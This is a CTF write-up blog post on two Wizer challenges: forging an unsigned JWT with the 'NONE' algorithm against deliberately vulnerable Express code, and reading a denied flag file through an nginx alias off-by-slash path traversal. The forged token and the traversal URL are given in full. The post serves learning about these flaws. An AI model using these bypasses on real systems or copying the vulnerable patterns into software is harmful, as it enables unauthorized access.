Write-up, Wizer Team CTF 6-hours challenge
2024-2-8 18:10:17 Author: infosecwriteups.com(查看原文) 阅读量:20 收藏

MrFroggy

InfoSec Write-ups

So this weekend Wizer hosted a CTF 6-hours Blitz challenge!

I managed to crack 2 of the challenges,

  • #1 JWT Authentication 🌶
  • #2 Nginx Configuration 🌶 🌶

I did manage to take some screenshots so i will add them as well

Get the flag!
We got a block of code and a form to submit our payload!

const express = require('express');
const jwt = require('jsonwebtoken');
const bodyParser = require('body-parser');

const app = express();
app.use(bodyParser.json());
const SECRETKEY = process.env.SECRETKEY;

// Middleware to verify JWT token
// This API will be used by various microservices. These all pass in the authorization token.
// However the token may be in various different payloads.
// That's why we've decided to allow all JWT algorithms to be used.
app.use((req, res, next) => {
const token = req.body.token;

if (!token) {
return res.status(401).json({ message: 'Token missing' });
}

try {
// Verify the token using the secret key and support all JWT algorithms
const decoded = jwt.verify(token, SECRETKEY, { algorithms: ['HS256', 'HS384', 'HS512', 'RS256', 'RS384',
'RS512', 'ES256', 'NONE', 'ES384', 'ES512',
'PS256', 'PS384', 'PS512'] });

req.auth = decoded;
next();
} catch (err) {
return res.status(403).json({ message: 'Token invalid' });
}
});

// API route protected by our authentication middleware
app.post('/flag', (req, res) => {
if (req.auth.access.includes('flag')) {
res.json({ message: 'If you can make the server return this message, then you've solved the challenge!'});
} else {
res.status(403).json({ message: '🚨 🚨 🚨 You've been caught by the access control police! 🚓 🚓 🚓' })
}
});

app.listen(3000, () => {
console.log(`Server is running on port 3000`);
});

So when just submitting the payload we got a 400 “Bad Request”, So then we started to look into the code! We know it is a JWT token exploit because everything screamed JWT token. So when i looked at the code i saw we supported “all” JWT tokens that meant the “NONE” type as well, which basically means we can skip the signing of the JWT token.

So it is just to create a empty JWT and send in? Well not really we need some more to get the full access to the flag!

// API route protected by our authentication middleware
app.post('/flag', (req, res) => {
if (req.auth.access.includes('flag')) {
res.json({ message: 'If you can make the server return this message, then you've solved the challenge!'});
} else {
res.status(403).json({ message: '🚨 🚨 🚨 You've been caught by the access control police! 🚓 🚓 🚓' })
}
});

The part above is the interesting one, “req.auth.access.includes(‘flag’), so we need to add the parameter access to be flag. I just went to jwt.io to get a generic JWT token.

The JWT token is a base64 encoded string that consists of 3 parts seperated by a “.”

First part contains the header where it is defined what alg and type it is.
Second part is the payload, the data it self.
Third part contains the signature/verification that the token is not tamperd with.

So if i change the headers alg from HS256 to NONE
change or add access : “flag”

Then i do not need to sign the JWT because of the NONE algorithm. I just make the third/last part empty, important is that you do add the dot at the end.

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
Decoded
{"alg":"HS256","typ":"JWT"}.{"sub":"1234567890","name":"John Doe","iat":1516239022}.(Cryptographic signage)

Changed to:

eyJ0eXAiOiJKV1QiLCJhbGciOiJOT05FIn0.eyJhY2Nlc3MiOiJmbGFnIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.
Decoded
{"typ":"JWT","alg":"NONE"}.{"access":"flag","name":"John Doe","iat":1516239022}.

So all i did was changing the alg to NONE, added “access”:”flag” to the payload.

The payload itself consisted of a json string with the key “token”

{"token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJOT05FIn0.eyJhY2Nlc3MiOiJmbGFnIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ."}

And then we got back the Flag Passcode: “JWT @LG0R1THM C0NFU510N”

Through the Shelldon Cooper’s flag game website, with the following nginx configuration, get the flag from `flag.html`

So we do have a Nginx misconfiguration to exploit.

user  nginx;
worker_processes 1;
events {
worker_connections 1024;
}

http {
include /etc/nginx/mime.types;
default_type application/octet-stream;
sendfile on;
keepalive_timeout 65;

server {
listen 80;
server_name localhost;

location / { # Allow the index.html file to be read
root /usr/share/nginx/html;
index index.html;
}

location /assets { # Allow the assets to be read
alias /usr/share/nginx/html/assets/;
}

location = /flag.html { # The flag file is private
deny all;
}

error_page 500 502 503 504 /50x.html;
location = /50x.html {
root /usr/share/nginx/html;
}
}
}

So Nginx does have some issues that is easy to exploit if it is missconfigured. A missing / at the end within a location keyword is something to look out for, so i went to one of my favorite resources.

So by going to “https://nginx.wizer-ctf.com/assets../flag.html” i got a pop-up and a page stating i solved it!.

So just because of a missing / at the end of assets and an alias.

Thanks Wizer for a fun and quick CTF (https://wizer-ctf.com/) , i managed to crack 2 of 6 challenges. They do release challenges on their websites test them out and you may learn some things, i know i have bookmarked the page to challenge myself!

I hope you enjoyed the write-up and that you learned something as well!


文章来源: https://infosecwriteups.com/write-up-wizer-team-ctf-6-hours-challenge-2fe110be3e75?source=rss----7b722bfd1b8d---4
如有侵权请联系:admin#unsafe.sh